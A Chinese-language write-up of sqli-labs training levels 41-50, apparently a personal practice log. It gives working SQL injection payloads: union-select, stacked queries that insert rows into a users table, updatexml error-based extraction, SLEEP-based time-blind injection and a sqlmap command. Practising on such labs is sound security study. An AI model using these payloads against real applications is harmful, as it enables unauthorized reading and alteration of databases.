sqli-labs闯关41-50关——闯关记录

Less-41

测试发现本题不需要闭合

直接构造语句

?id=-1 union select 1,database(),2 #

堆叠注入和前面类似,不多说

Less-42

熟悉的界面哈,先尝试创建一个新用户,结果

虾仁猪心呀,只能看下源码了

可以看见,登录界面对于password没有做任何的过滤

尝试一下堆叠注入

1';insert into users values(99,'xixi','xixi')#

成功

Less-43

测试闭合。。。没测试出来,查看源码发现是单引号小括号闭合,和上一题的方法一样,不再赘述

Less-44

可以知道本题没有报错信息,属于盲注,但是使用堆叠注入,单引号闭合

';insert into users values(97,'xixi','xixi')#

成功

Less-45

查看源码,本题是单引号小括号闭合,且和上题类似,没有报错信息,但注入点相同,不再赘述

Less-46

尝试输入

?sort=1

可以看到,显示内容按第一行(即ID)升序排列

同时也可以控制升序降序

?sort=1 asc	#升序
?sort=1 desc	#降序

查看源码,可以看到本关的sql语句

$sql="SELECT * FROM users ORDER BY $id"

本题可以利用order by函数后面的内容作为注入点,即使其后面的语句结果是一个数字

这里介绍两个函数
right('hello',1)	#返回最右边第一个字符,即 o 
left('hello',1)		#返回最左边第一个字符,即 h
可以构造语句?sort=right(database(),1)

很遗憾没有变化

考虑布尔类型,报错注入或者延时注入

?sort=rand(true)
?sort=rrand(false)

没有变化,报错注入

?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));

Less-47

由题目可以看出,本题单引号闭合

本题和上题类似,首先尝试报错注入

?sort=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+

成功

Less-48

可以知道本题是盲注,没有报错信息

尝试延时注入,本题可以使用sqlmap

python sqlmap.py -u "127.0.0.1/sqli-labs/Less-48/?sort=1" --dbs --batch

布尔盲注没有变化,没成功

时间盲注

if()函数

if()函数有三个参数,其用法为if(a,b,c)

第一个参数a:判断语句,返回结果为真假

第二个参数b:如果a的判断返回为真,则执行b

第三个参数c:如果a的判断返回为假,则执行c

实例:select if(1=1,1,0)->1和select if(1=2,1,0)->0

构造语句

?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))

可以发现有明显的延时

Less-49

本题和上题类似,不再赘述

Less-50

测试可知本题没有闭合

构造语句

?sort=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+

image-20210209170831006

成功